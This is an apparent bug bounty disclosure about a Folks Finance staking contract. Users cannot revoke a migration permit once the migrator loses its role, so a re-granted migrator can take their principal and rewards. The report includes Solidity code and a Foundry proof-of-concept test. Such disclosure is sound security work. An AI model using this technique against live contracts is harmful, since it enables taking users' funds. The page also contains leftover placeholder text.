Broken migration permit revocation allows a re authorized migrator to transfer user principal and rewards without fresh consent
The setMigrationPermit function requires the target migrator to currently hold MIGRATOR_ROLE even when a user tries to revoke a previously granted permit. If the role is later removed and then re-granted, the stale permit becomes usable again, allowing the migrator to transfer the user's principal and rewards without fresh consent.
- Disclosed after under an hour
69097 sc low broken migration permit revocation allows a re authorized migrator to transfer user principal and rewards without fresh consent
Submitted on Mar 12th 2026 at 20:06:11 UTC by @DSbeX for Audit Comp | Folks Finance: Staking Contracts
- Report ID: #69097
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/Folks-Finance/folks-staking-contracts/blob/main/src/Staking.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Brief/Intro
The migration permission model contains a revocation flaw that can lead to unauthorized transfer of user funds. A user can approve a migrator while it holds MIGRATOR_ROLE, but if that role is later removed from the migrator address, the user can no longer revoke the previously granted approval because setMigrationPermit() still requires the target to currently hold MIGRATOR_ROLE, even when setting the permit to false. The stale approval remains stored and becomes usable again if the same address later regains MIGRATOR_ROLE, at which point the migrator can call migratePositionsFrom() and receive the user’s remaining principal and reward directly, without fresh user consent. It needs role so it doesn't deserve Critical, I believe it best fits High.
Vulnerability Details
The issue is in setMigrationPermit():
function setMigrationPermit(address _migrator, bool _isMigrationPermitted) external {
if (!hasRole(MIGRATOR_ROLE, _migrator)) revert MigratorNotFound(_migrator);
migrationPermits[_migrator][msg.sender] = _isMigrationPermitted;
emit MigrationPermitUpdated(_migrator, msg.sender, _isMigrationPermitted);
}
The role check is unconditional. It applies not only when a user is granting a permit, but also when the user is trying to revoke an existing permit by setting it to false.
This creates the following vulnerable state transition:
- A migrator address
MholdsMIGRATOR_ROLE. - A user sets
migrationPermits[M][user] = true. - Later,
MIGRATOR_ROLEis revoked fromM. - The user attempts to revoke the approval with:
setMigrationPermit(M, false)
- The call reverts with
MigratorNotFound(M)becauseMno longer currently holds the role. - The previous
truevalue remains stored inmigrationPermits[M][user]. - If
Mlater regainsMIGRATOR_ROLE, the old approval becomes usable again without any fresh action by the user.
The migration function only checks:
- that
msg.sendercurrently hasMIGRATOR_ROLE - that
migrationPermits[msg.sender][user] == true
function migratePositionsFrom(address user)
external
nonReentrant
onlyRole(MIGRATOR_ROLE)
returns (UserStake[] memory)
{
if (!migrationPermits[msg.sender][user]) revert MigratorNotPermitted(msg.sender, user);
...
TOKEN.safeTransfer(msg.sender, unclaimedUserAmount + unclaimedUserRewards);
}
The key security consequence is that the tokens are transferred directly to msg.sender:
TOKEN.safeTransfer(msg.sender, unclaimedUserAmount + unclaimedUserRewards);
As a result, once the stale permit becomes active again, the re-authorized migrator can directly receive custody of the user’s principal and reward.
This is not about migration of locked positions being allowed. The protocol explicitly supports migration of open positions. The issue is that a user cannot reliably revoke prior consent, and stale consent can later be reused to move funds.
Impact Details
This vulnerability can lead to direct unauthorized transfer of user funds for users who previously approved a migrator address.
Once the stale permit is reactivated by role re-grant, the migrator can call migratePositionsFrom(user) and receive:
- all unclaimed principal
- all unclaimed rewards
This is not limited to unclaimed yield. The transfer includes user principal as well.
References
setMigrationPermit(address _migrator, bool _isMigrationPermitted) - https://github.com/Folks-Finance/folks-staking-contracts/blob/3131a2d46b5afa76f606bf08adfd85452a47e2d8/src/Staking.sol#L77
Proof of Concept
{% stepper %} {% step %}
Alice approves migrator
vm.prank(alice);
staking.setMigrationPermit(migrator, true);
assertEq(staking.migrationPermits(migrator, alice), true);
{% endstep %}
{% step %}
Admin revokes MIGRATOR_ROLE from migrator
bytes32 migratorRole = staking.MIGRATOR_ROLE();
vm.prank(admin);
staking.revokeRole(migratorRole, migrator);
assertEq(staking.hasRole(migratorRole, migrator), false);
{% endstep %}
{% step %}
Alice attempts to revoke the permit, but the call reverts
vm.expectRevert(abi.encodeWithSelector(IStakingV1.MigratorNotFound.selector, migrator));
vm.prank(alice);
staking.setMigrationPermit(migrator, false);
{% endstep %}
{% step %}
The stale true approval remains stored
assertEq(staking.migrationPermits(migrator, alice), true);
{% endstep %}
{% step %}
Admin grants MIGRATOR_ROLE back to the same address
vm.prank(admin);
staking.grantRole(migratorRole, migrator);
assertEq(staking.hasRole(migratorRole, migrator), true);
{% endstep %}
{% step %}
The old approval silently becomes usable again without fresh user consent
assertEq(staking.migrationPermits(migrator, alice), true);
vm.prank(migrator);
IStakingV1.UserStake[] memory migratedStakes = staking.migratePositionsFrom(alice);
assertEq(migratedStakes.length, 1);
assertEq(migratedStakes[0].amount, 10 ether);
assertEq(staking.getUserStakes(alice).length, 0);
{% endstep %}
{% step %}
The migrator directly receives Alice's remaining principal + reward
assertEq(token.balanceOf(migrator), migratedStakes[0].amount + migratedStakes[0].reward);
{% endstep %} {% endstepper %}
function test_Migration_StalePermitCannotBeRevokedWhenRoleRemoved_AndReactivatesOnRegrant() public {
deal(address(token), address(staking), 1000 ether);
deal(address(token), alice, 100 ether);
uint8 periodIndex = addStakingPeriodByManager(50 ether, 20, 10, 5000, true);
approveAndStake(alice, periodIndex, 10 ether, 20, 10, 5000, address(0));
assertEq(staking.getUserStakes(alice).length, 1);
// Alice opts in to this migrator
vm.prank(alice);
staking.setMigrationPermit(migrator, true);
assertEq(staking.migrationPermits(migrator, alice), true);
bytes32 migratorRole = staking.MIGRATOR_ROLE();
// Migrator loses the role
vm.prank(admin);
staking.revokeRole(migratorRole, migrator);
assertEq(staking.hasRole(migratorRole, migrator), false);
// Alice now tries to revoke the permit, but cannot because the target no longer has MIGRATOR_ROLE
vm.expectRevert(abi.encodeWithSelector(IStakingV1.MigratorNotFound.selector, migrator));
vm.prank(alice);
staking.setMigrationPermit(migrator, false);
// The stale approval remains stored
assertEq(staking.migrationPermits(migrator, alice), true);
// Later, the same address regains MIGRATOR_ROLE
vm.prank(admin);
staking.grantRole(migratorRole, migrator);
assertEq(staking.hasRole(migratorRole, migrator), true);
// The old approval silently becomes usable again without fresh user consent
assertEq(staking.migrationPermits(migrator, alice), true);
vm.prank(migrator);
IStakingV1.UserStake[] memory migratedStakes = staking.migratePositionsFrom(alice);
assertEq(migratedStakes.length, 1);
assertEq(migratedStakes[0].amount, 10 ether);
assertEq(staking.getUserStakes(alice).length, 0);
// Proof that the migrator directly received Alice's remaining principal + reward
assertEq(token.balanceOf(migrator), migratedStakes[0].amount + migratedStakes[0].reward);
}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A re-authorized migrator could transfer the user's remaining principal and rewards without fresh consent, but this requires the migrator to first lose and then regain the MIGRATOR_ROLE.
What the attacker needed
User previously approved a migrator; migrator loses MIGRATOR_ROLE; migrator later regains MIGRATOR_ROLE
How it was found
- Alice approves a migrator by calling setMigrationPermit with true.
- Admin revokes MIGRATOR_ROLE from the migrator.
- Alice tries to revoke the permit but the call reverts with MigratorNotFound.
- The stale true approval remains stored.
- Admin grants MIGRATOR_ROLE back to the same address.
- The migrator calls migratePositionsFrom for Alice and receives her principal and rewards.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A user can give a migrator permission to move their staked funds. The code only lets you change that permission if the migrator currently has a special admin role. If the admin removes that role, the user cannot cancel the permission, and it stays active. If the admin later gives the role back, the old permission works again without the user agreeing anew.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.